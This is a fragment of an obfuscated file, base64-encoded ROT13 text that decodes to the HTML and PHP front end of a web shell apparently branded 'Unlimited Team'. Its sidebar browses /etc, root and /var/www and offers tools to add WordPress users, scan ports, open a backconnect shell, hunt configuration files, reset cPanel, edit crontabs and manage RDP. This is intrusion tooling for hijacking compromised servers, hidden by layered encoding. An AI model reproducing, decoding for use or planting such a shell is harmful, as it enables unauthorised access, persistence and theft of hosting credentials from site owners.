4Y2s7DQogICAgICAgICAgICB6dmEtdXJ2dHVnOiAyMGNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAudmFzYi15bm9yeSB7DQogICAgICAgICAgICBqdnFndTogMTQwY2s7DQogICAgICAgICAgICBzeXJrLWZ1ZXZheDogMDsNCiAgICAgICAgICAgIHNiYWctanJ2dHVnOiA2MDA7DQogICAgICAgICAgICBwYnliZTogaW5lKC0tY2V2em5lbCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC52YXNiLWlueWhyIHsNCiAgICAgICAgICAgIHN5cms6IDE7DQogICAgICAgICAgICBqYmVxLW9lcm54OiBvZXJueC1ueXk7DQogICAgICAgICAgICBwYnliZTogaW5lKC0tZ3JrZy1mcnBiYXFuZWwpOw0KICAgICAgICAgICAgc2JhZy1qcnZ0dWc6IGFiZXpueTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnZ6bnRyLXBiYWdudmFyZSB7DQogICAgICAgICAgICBqdnFndTogMTAwJTsNCiAgICAgICAgICAgIHVydnR1ZzogODBjazsgDQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBiaXJlc3liajogdXZxcXJhOw0KICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMTVjazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnNoeXktZnZtci12em50ciB7DQogICAgICAgICAgICBqdnFndTogMTAwJTsNCiAgICAgICAgICAgIHVydnR1ZzogMTAwJTsNCiAgICAgICAgICAgIGJvd3JwZy1zdmc6IHBiaXJlOyANCiAgICAgICAgICAgIHF2ZmN5bmw6IG95YnB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZmduZ2hmLXZhcXZwbmdiZSB7DQogICAgICAgICAgICBxdmZjeW5sOiB2YXl2YXItb3licHg7DQogICAgICAgICAgICBqdnFndTogOGNrOw0KICAgICAgICAgICAgdXJ2dHVnOiA4Y2s7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1MCU7DQogICAgICAgICAgICB6bmV0dmEtZXZ0dWc6IDVjazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZnbmdoZi1iYXl2YXIgew0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tZmhwcHJmZik7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5mZ25naGYtYnNzeXZhciB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1ucHByYWcpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucG5lcSB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1wbmVxLW90KTsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7DQogICAgICAgICAgICBjbnFxdmF0OiAxNWNrOw0KICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMTVjazsNCiAgICAgICAgICAgIG9iay1mdW5xYmo6IGluZSgtLWZ1bnFiaik7DQogICAgICAgICAgICBnZW5hZnZndmJhOiBpbmUoLS1nZW5hZnZndmJhKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnBuZXE6dWJpcmUgew0KICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JMKC0zY2spOw0KICAgICAgICAgICAgb2JrLWZ1bnFiajogMCA2Y2sgMTJjayBldG9uKDAsMCwwLDAuMSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5wbmVxLXVybnFyZSB7DQogICAgICAgICAgICBxdmZjeW5sOiBzeXJrOw0KICAgICAgICAgICAgd2hmZ3ZzbC1wYmFncmFnOiBvcmdqcnJhOw0KICAgICAgICAgICAgbnl2dGEtdmdyemY6IHByYWdyZTsNCiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDEwY2s7DQogICAgICAgICAgICBjbnFxdmF0LW9iZ2diejogMTBjazsNCiAgICAgICAgICAgIG9iZXFyZS1vYmdnYno6IDFjayBmYnl2cSBpbmUoLS1vYmVxcmUtcGJ5YmUpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucG5lcS1ndmd5ciB7DQogICAgICAgICAgICBzYmFnLWpydnR1ZzogNjAwOw0KICAgICAgICAgICAgcGJ5YmU6IGluZSgtLWNldnpuZWwpOw0KICAgICAgICAgICAgem5ldHZhOiAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuamV2Z25veXItdmFxdnBuZ2JlIHsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHZheXZhci1veWJweDsNCiAgICAgICAgICAgIGp2cWd1OiAxMGNrOw0KICAgICAgICAgICAgdXJ2dHVnOiAxMGNrOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogNTAlOw0KICAgICAgICAgICAgem5ldHZhLXlyc2c6IDVjazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmpldmdub3lyLWdlaHIgew0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tZmhwcHJmZik7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5qZXZnbm95ci1zbnlmciB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1ucHByYWcpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3Z5ci1xcmdudnlmIHsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBzeXJrLXF2ZXJwZ3ZiYTogcGJ5aHphOw0KICAgICAgICAgICAgdG5jOiAyY2s7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDExY2s7DQogICAgICAgICAgICBwYnliZTogaW5lKC0tZ3JrZy1mcnBiYXFuZWwpOw0KICAgICAgICAgICAgem5ldHZhLXlyc2c6IDEwY2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zdnlyLXFyZ252eS12Z3J6IHsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgdG5jOiA1Y2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zdnlyLWNyZXp2ZmZ2YmEgew0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdFYm9iZ2IgWmJhYicsIHpiYWJmY25wcjsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICNyOXJwcnM7DQogICAgICAgICAgICBjbnFxdmF0OiAxY2sgNGNrOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogM2NrOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxMGNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucGhlZXJhZy1xdmUtdmFzYiB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1wbmVxLW90KTsNCiAgICAgICAgICAgIGNucXF2YXQ6IDEwY2sgMTVjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsNCiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDE1Y2s7DQogICAgICAgICAgICBvYmstZnVucWJqOiBpbmUoLS1mdW5xYmopOw0KICAgICAgICAgICAgcXZmY3lubDogc3lyazsNCiAgICAgICAgICAgIG55dnRhLXZncnpmOiBwcmFncmU7DQogICAgICAgICAgICB0bmM6IDEwY2s7DQogICAgICAgICAgICBzeXJrLWplbmM6IGplbmM7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5xdmUtZmduZ2hmIHsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgdG5jOiA1Y2s7DQogICAgICAgICAgICBjbnFxdmF0OiAzY2sgOGNrOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogM2NrOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxMmNrOw0KICAgICAgICAgICAgc2JhZy1qcnZ0dWc6IDUwMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnF2ZS1qZXZnbm95ciB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiAjcTRycXFuOw0KICAgICAgICAgICAgcGJ5YmU6ICMxNTU3MjQ7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5xdmUtZXJucWJheWwgew0KICAgICAgICAgICAgb25weHRlYmhhcTogI3M4cTdxbjsNCiAgICAgICAgICAgIHBieWJlOiAjNzIxcDI0Ow0KICAgICAgICB9DQoNCiAgICAgICAgLnBiYWdya2ctenJhaCB7DQogICAgICAgICAgICBxdmZjeW5sOiBhYmFyOw0KICAgICAgICAgICAgY2Jmdmd2YmE6IG5vZmJ5aGdyOw0KICAgICAgICAgICAgb25weHRlYmhhcToganV2Z3I7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBvYmstZnVucWJqOiAwIDRjayAxMmNrIGV0b24oMCwwLDAsMC4xNSk7DQogICAgICAgICAgICBtLXZhcXJrOiAxMDAwOw0KICAgICAgICAgICAgenZhLWp2cWd1OiAxODBjazsNCiAgICAgICAgICAgIGJpcmVzeWJqOiB1dnFxcmE7DQogICAgICAgIH0NCg0KICAgICAgICAucGJhZ3JrZy16cmFoLXZncnogew0KICAgICAgICAgICAgY25xcXZhdDogMTBjayAxNWNrOw0KICAgICAgICAgICAgcGhlZmJlOiBjYnZhZ3JlOw0KICAgICAgICAgICAgb2JlcXJlLW9iZ2diejogMWNrIGZieXZxICNzMHMwczA7DQogICAgICAgICAgICBnZW5hZnZndmJhOiBpbmUoLS1nZW5hZnZndmJhKTsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgdG5jOiA4Y2s7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDEzY2s7DQogICAgICAgIH0NCg0KICAgICAgICAucGJhZ3JrZy16cmFoLXZncno6dWJpcmUgew0KICAgICAgICAgICAgb25weHRlYmhhcTogI3M4czlzbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYmFncmtnLXpyYWgtdmdyejp5bmZnLXB1dnlxIHsNCiAgICAgICAgICAgIG9iZXFyZS1vYmdnYno6IGFiYXI7DQogICAgICAgIH0NCg0KICAgICAgICAucGJhZ3JrZy16cmFoLXZncnoucW5hdHJlIHsNCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1ucHByYWcpOw0KICAgICAgICB9DQoNCiAgICAgICAgLmZyeXJwZ3ZiYS1wYmhhZyB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1mcnBiYXFuZWwpOw0KICAgICAgICAgICAgcGJ5YmU6IGp1dmdyOw0KICAgICAgICAgICAgY25xcXZhdDogMmNrIDhjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDExY2s7DQogICAgICAgICAgICB6bmV0dmEteXJzZzogNWNrOw0KICAgICAgICB9DQoNCiAgICAgICAgQHpycXZuICh6bmstanZxZ3U6IDc2OGNrKSB7DQogICAgICAgICAgICAucGJhZ252YXJlIHsNCiAgICAgICAgICAgICAgICBzeXJrLXF2ZXJwZ3ZiYTogcGJ5aHphOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLmZ2cXJvbmUgew0KICAgICAgICAgICAgICAgIGp2cWd1OiAxMDAlOw0KICAgICAgICAgICAgICAgIHVydnR1ZzogbmhnYjsNCiAgICAgICAgICAgICAgICBjYmZ2Z3ZiYTogZXJ5bmd2aXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAuc3Z5ci12Z3J6IHsNCiAgICAgICAgICAgICAgICBzeXJrLXF2ZXJwZ3ZiYTogcGJ5aHphOw0KICAgICAgICAgICAgICAgIG55dnRhLXZncnpmOiBzeXJrLWZnbmVnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLnN2eXItbnBndmJhZiB7DQogICAgICAgICAgICAgICAgem5ldHZhLWdiYzogMTBjazsNCiAgICAgICAgICAgICAgICBqdnFndTogMTAwJTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC5zdnlyLXZhc2Igew0KICAgICAgICAgICAgICAgIHpuZXR2YS15cnNnOiAwY2s7DQogICAgICAgICAgICAgICAgem5ldHZhLWdiYzogNWNrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLmduby1vaGdnYmFmIHsNCiAgICAgICAgICAgICAgICBzeXJrLXF2ZXJwZ3ZiYTogcGJ5aHphOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLmduby1vaGdnYmEgew0KICAgICAgICAgICAgICAgIHpuZXR2YS1ldnR1ZzogMDsNCiAgICAgICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiA1Y2s7DQogICAgICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogNWNrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLmduby1vaGdnYmEubnBndmlyOjpuc2dyZSB7DQogICAgICAgICAgICAgICAgcXZmY3lubDogYWJhcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC5vZXJucXBlaHpvIHsNCiAgICAgICAgICAgICAgICBzeXJrLXF2ZXJwZ3ZiYTogcGJ5aHphOw0KICAgICAgICAgICAgICAgIG55dnRhLXZncnpmOiBzeXJrLWZnbmVnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLnVienItb2dhIHsNCiAgICAgICAgICAgICAgICB6bmV0dmEteXJzZzogMDsNCiAgICAgICAgICAgICAgICB6bmV0dmEtZ2JjOiAxMGNrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLm94eCB7DQogICAgICAgICAgICBvbnB4dGViaGFxLXBieWJlOiAjNFBOUzUwOw0KICAgICAgICAgICAgcGJ5YmU6IGp1dmdyOw0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOw0KICAgICAgICAgICAgY25xcXZhdDogOGNrIDE1Y2s7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBwaGVmYmU6IGNidmFncmU7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDE0Y2s7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAxMGNrOw0KICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogb25weHRlYmhhcS1wYnliZSAwLjNmOw0KICAgICAgICAgICAganZxZ3U6IDEwMCU7DQogICAgICAgIH0NCg0KICAgICAgICAub3h4OnViaXJlIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXEtcGJ5YmU6ICM0NW4wNDk7DQogICAgICAgIH0NCg0KICAgICAgICAub3h4OnF2Zm5veXJxIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXEtcGJ5YmU6ICNwcHBwcHA7DQogICAgICAgICAgICBwaGVmYmU6IGFiZy1ueXlianJxOw0KICAgICAgICB9DQoNCiAgICAgICAgLnZwYmEgew0KICAgICAgICAgICAgem5ldHZhLWV2dHVnOiA1Y2s7DQogICAgICAgIH0NCiAgICA8L2ZnbHlyPg0KPC91cm5xPg0KPG9icWw+DQo8cXZpIHB5bmZmPSJwYmFnbnZhcmUiPg0KICAgIDwhLS0gRnZxcm9uZSAtLT4NCiAgICA8cXZpIHB5bmZmPSJmdnFyb25lIj4NCiAgICAgICAgPHF2aSBweW5mZj0iZnZxcm9uZS15YnRiIj4NCiAgICAgICAgICAgIDxxdmkgcHluZmY9InZ6bnRyLXBiYWdudmFyZSI+DQogICAgICAgICAgICAgICAgPHZ6dCBmZXA9InVnZ2NmOi8vbi5nYmM0Z2JjLnZiL2NfMzU2MzA4emw5MS50dnMiIG55Zz0iTmF2em5ncnEgVFZTIiBweW5mZj0ic2h5eS1mdm1yLXZ6bnRyIj4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPHF2aT4NCiAgICAgICAgICAgICAgICA8dTI+PHYgcHluZmY9InNuZiBzbi1ncmV6dmFueSI+PC92PiBIYXl2enZncnEgR3JueiA8L3UyPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InVybnFyZS12cGJhZiI+DQogICAgICAgICAgICAgICAgICAgIDxuIHVlcnM9InVnZ2NmOi8vdHZndWhvLnBieiIgZ25ldHJnPSJfb3luYXgiIHB5bmZmPSJ1cm5xcmUtdnBiYSIgZ3ZneXI9IlR2Z1VobyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25vIHNuLXR2Z3VobyI+PC92Pg0KICAgICAgICAgICAgICAgICAgICA8L24+DQogICAgICAgICAgICAgICAgICAgIDxuIHVlcnM9InVnZ2NmOi8vZy56ci9IYXl2enZncnEyIiBnbmV0cmc9Il9veW5heCIgcHluZmY9InVybnFyZS12cGJhIiBndmd5cj0iR3J5cnRlbnoiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNubyBzbi1ncnlydGVueiI+PC92Pg0KICAgICAgICAgICAgICAgICAgICA8L24+DQogICAgICAgICAgICAgICAgICAgIDxuIHVlcnM9InVnZ2NmOi8vbnlucnF2YS5wYnovIiBnbmV0cmc9Il9veW5heCIgcHluZmY9InVybnFyZS12cGJhIiBndmd5cj0iSnJvZnZnciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLXR5Ym9yIj48L3Y+DQogICAgICAgICAgICAgICAgICAgIDwvbj4NCiAgICAgICAgICAgICAgICAgICAgPGM+Li4uVlFYLi4uPC9jPg0KICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgIDwvcXZpPg0KDQogICAgICAgIDxmZ2x5cj4NCiAgICAgICAgLm94eCB7DQogICAgICAgICAgICBvbnB4dGViaGFxLXBieWJlOiAjNFBOUzUwOw0KICAgICAgICAgICAgcGJ5YmU6IGp1dmdyOw0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOw0KICAgICAgICAgICAgY25xcXZhdDogOGNrIDE1Y2s7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBwaGVmYmU6IGNidmFncmU7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDE0Y2s7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAxMGNrOw0KICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogb25weHRlYmhhcS1wYnliZSAwLjNmOw0KICAgICAgICAgICAganZxZ3U6IDEwMCU7DQogICAgICAgIH0NCg0KICAgICAgICAub3h4OnViaXJlIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXEtcGJ5YmU6ICM0NW4wNDk7DQogICAgICAgIH0NCg0KICAgICAgICAub3h4OnF2Zm5veXJxIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXEtcGJ5YmU6ICNwcHBwcHA7DQogICAgICAgICAgICBwaGVmYmU6IGFiZy1ueXlianJxOw0KICAgICAgICB9DQoNCiAgICAgICAgLnZwYmEgew0KICAgICAgICAgICAgem5ldHZhLWV2dHVnOiA1Y2s7DQogICAgICAgIH0NCiAgICAgICAgPC9mZ2x5cj4NCg0KICAgICAgICA8bmhxdmIgdnE9InpsTmhxdmIiIHBiYWdlYnlmIG5oZ2JjeW5sIHliYmMgZmdseXI9InF2ZmN5bmw6IGFiYXI7Ij4NCiAgICAgICAgICAgIDxmYmhlcHIgZmVwPSJ1Z2djZjovL3cuZ2JjNGdiYy52Yi96XzM2Mjdpc2pxbDEuemMzIiBnbGNyPSJuaHF2Yi96Y3J0Ij4NCiAgICAgICAgPC9uaHF2Yj4NCg0KICAgICAgICA8b2hnZ2JhIHB5bmZmPSJveHgiIHZxPSJjeW5sT2dhIiBiYXB5dnB4PSJjeW5sTmhxdmIoKSI+DQogICAgICAgICAgICA8ZmNuYSBweW5mZj0idnBiYSI+4pa2PC9mY25hPiBDeW5sDQogICAgICAgIDwvb2hnZ2JhPg0KDQogICAgICAgIDxmcGV2Y2c+DQogICAgICAgIHBiYWZnIG5ocXZiID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoInpsTmhxdmIiKTsNCiAgICAgICAgcGJhZmcgY3lubE9nYSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCJjeW5sT2dhIik7DQoNCiAgICAgICAgc2hhcGd2YmEgY3lubE5ocXZiKCkgew0KICAgICAgICAgICAgdnMgKG5ocXZiLmNuaGZycSkgew0KICAgICAgICAgICAgICAgIG5ocXZiLmN5bmwoKTsNCiAgICAgICAgICAgICAgICBjeW5sT2dhLnZhYXJlVUdaWSA9ICc8ZmNuYSBweW5mZj0idnBiYSI+4o+4PC9mY25hPiBXcnFuIFpoZnZ4JzsNCiAgICAgICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICAgICAgbmhxdmIuY25oZnIoKTsNCiAgICAgICAgICAgICAgICBjeW5sT2dhLnZhYXJlVUdaWSA9ICc8ZmNuYSBweW5mZj0idnBiYSI+4pa2PC9mY25hPiBDaGduZSBaaGZ2eCc7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBuaHF2Yi5ucXFSaXJhZ1l2ZmdyYXJlKCdyYXFycScsIHNoYXBndmJhKCkgew0KICAgICAgICAgICAgY3lubE9nYS52YWFyZVVHWlkgPSAnPGZjbmEgcHluZmY9InZwYmEiPuKWtjwvZmNuYT4gQ2hnbmUgWmhmdngnOw0KICAgICAgICB9KTsNCiAgICAgICAgPC9mcGV2Y2c+DQogICAgICAgIA0KICAgICAgICA8IS0tIEZyZmZ2YmEgVmFzYiBGcnBndmJhIC0tPg0KICAgICAgICA8cXZpIHB5bmZmPSJmdnFyb25lLWZycGd2YmEiPg0KICAgICAgICAgICAgPHU0Pjx2IHB5bmZmPSJzbmYgc24taGZyZS1mdXZyeXEiPjwvdj4gRnJmZnZiYSBWYXNiPC91ND4NCiAgICAgICAgICAgIDxxdmkgcHluZmY9ImZ2cXJvbmUtb2hnZ2JhZiI+DQogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZnZxcm9uZS1vZ2EiIGZnbHlyPSJvbnB4dGViaGFxOiBldG9uKDUyLCAxNTIsIDIxOSwgMC4yKTsiPg0KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLWhmcmUiPjwvdj4gDQogICAgICAgICAgICAgICAgICAgIDxxdmk+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZmdlYmF0Pjw/Y3VjIHJwdWIgdWd6eWZjcnB2bnlwdW5lZigkX0ZSRkZWQkFbJ2hmcmVhbnpyJ10pOyA/PjwvZmdlYmF0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBmZ2x5cj0ic2JhZy1mdm1yOiAxMWNrOyBiY25wdmdsOiAwLjg7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYnR2YTogPD9jdWMgcnB1YiBxbmdyKCdVOnY6ZicsICRfRlJGRlZCQVsneWJ0dmFfZ3Z6ciddKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8biB1ZXJzPSI/eWJ0YmhnPWdlaHIiIHB5bmZmPSJmdnFyb25lLW9nYSIgZmdseXI9Im9ucHh0ZWJoYXE6IGV0b24oMjMxLCA3NiwgNjAsIDAuMik7IHBieWJlOiAjcjc0cDNwOyI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZnZ0YS1iaGctbnlnIj48L3Y+IFlidGJoZw0KICAgICAgICAgICAgICAgIDwvbj4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICA8L3F2aT4NCiAgICAgICAgDQogICAgICAgIDxxdmkgcHluZmY9ImZ2cXJvbmUtZnJwZ3ZiYSI+DQogICAgICAgICAgICA8dTQ+PHYgcHluZmY9InNuZiBzbi1zYnlxcmUtYmNyYSI+PC92PiBEaHZweCBBbml2dG5ndmJhPC91ND4NCiAgICAgICAgICAgIDxxdmkgcHluZmY9ImZ2cXJvbmUtb2hnZ2JhZiI+DQogICAgICAgICAgICAgICAgPG4gdWVycz0iP3F2ZT08P2N1YyBycHViIGhleXJhcGJxcigkdWJ6cl9xdmUpOyA/PiIgcHluZmY9ImZ2cXJvbmUtb2dhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi11YnpyIj48L3Y+IFVienIgUXZlcnBnYmVsDQogICAgICAgICAgICAgICAgPC9uPg0KICAgICAgICAgICAgICAgIDxuIHVlcnM9Ij9xdmU9LyIgcHluZmY9ImZ2cXJvbmUtb2dhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi11cXEiPjwvdj4gRWJiZyBRdmVycGdiZWwNCiAgICAgICAgICAgICAgICA8L24+DQogICAgICAgICAgICAgICAgPG4gdWVycz0iP3F2ZT0vcmdwIiBweW5mZj0iZnZxcm9uZS1vZ2EiPg0KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLXBidGYiPjwvdj4gL3JncA0KICAgICAgICAgICAgICAgIDwvbj4NCiAgICAgICAgICAgICAgICA8biB1ZXJzPSI/cXZlPS9nemMiIHB5bmZmPSJmdnFyb25lLW9nYSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZ3J6YyI+PC92PiAvZ3pjDQogICAgICAgICAgICAgICAgPC9uPg0KICAgICAgICAgICAgICAgIDxuIHVlcnM9Ij9xdmU9L2luZS9qamoiIHB5bmZmPSJmdnFyb25lLW9nYSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tdHlib3IiPjwvdj4gL2luZS9qamoNCiAgICAgICAgICAgICAgICA8L24+DQogICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgPC9xdmk+DQogICAgICAgIA0KICAgICAgICA8cXZpIHB5bmZmPSJmdnFyb25lLWZycGd2YmEiPg0KICAgICAgICAgICAgPHU0Pjx2IHB5bmZmPSJzbmYgc24tZ2JieWYiPjwvdj4gTnFpbmFwcnEgR2JieWY8L3U0Pg0KICAgICAgICAgICAgPHF2aSBweW5mZj0iZnZxcm9uZS1vaGdnYmFmIj4NCiAgICAgICAgICAgICAgICA8b2hnZ2JhIGJhcHl2cHg9ImZ1YmpKY0hmcmUoKSIgcHluZmY9ImZ2cXJvbmUtb2dhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1oZnJlLWN5aGYiPjwvdj4gTnFxIEpDIEhmcmUNCiAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICA8b2hnZ2JhIGJhcHl2cHg9ImZ1YmpDYmVnRnBuYWFyZSgpIiBweW5mZj0iZnZxcm9uZS1vZ2EiPg0KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLWFyZ2piZXgtanZlcnEiPjwvdj4gQ2JlZyBGcG5hYXJlDQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBiYXB5dnB4PSJmdWJqSnJvZnVyeXlGcG5hYXJlKCkiIHB5bmZmPSJmdnFyb25lLW9nYSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZnV2cnlxLW55ZyI+PC92PiBKcm9mdXJ5eSBGcG5hYXJlDQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBiYXB5dnB4PSJmdWJqT25weHBiYWFycGcoKSIgcHluZmY9ImZ2cXJvbmUtb2dhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1jeWh0Ij48L3Y+IE9ucHhwYmFhcnBnDQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBiYXB5dnB4PSJmdWJqUGJhc3Z0VWhhZ3JlKCkiIHB5bmZmPSJmdnFyb25lLW9nYSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZnJuZXB1Ij48L3Y+IFBiYXN2dCBVaGFncmUNCiAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICA8b2hnZ2JhIGJhcHl2cHg9ImZ1YmpQY25hcnlFcmZyZygpIiBweW5mZj0iZnZxcm9uZS1vZ2EiPg0KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLWZsYXAiPjwvdj4gRXJmcmcgcENuYXJ5DQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBiYXB5dnB4PSJmdWJqUGViYWdub1puYW50cmUoKSIgcHluZmY9ImZ2cXJvbmUtb2dhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1weWJweCI+PC92PiBabmFudHIgUGViYWdubw0KICAgICAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgIDxvaGdnYmEgYmFweXZweD0iZnViakVxY1puYW50cmUoKSIgcHluZmY9ImZ2cXJvbmUtb2dhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9I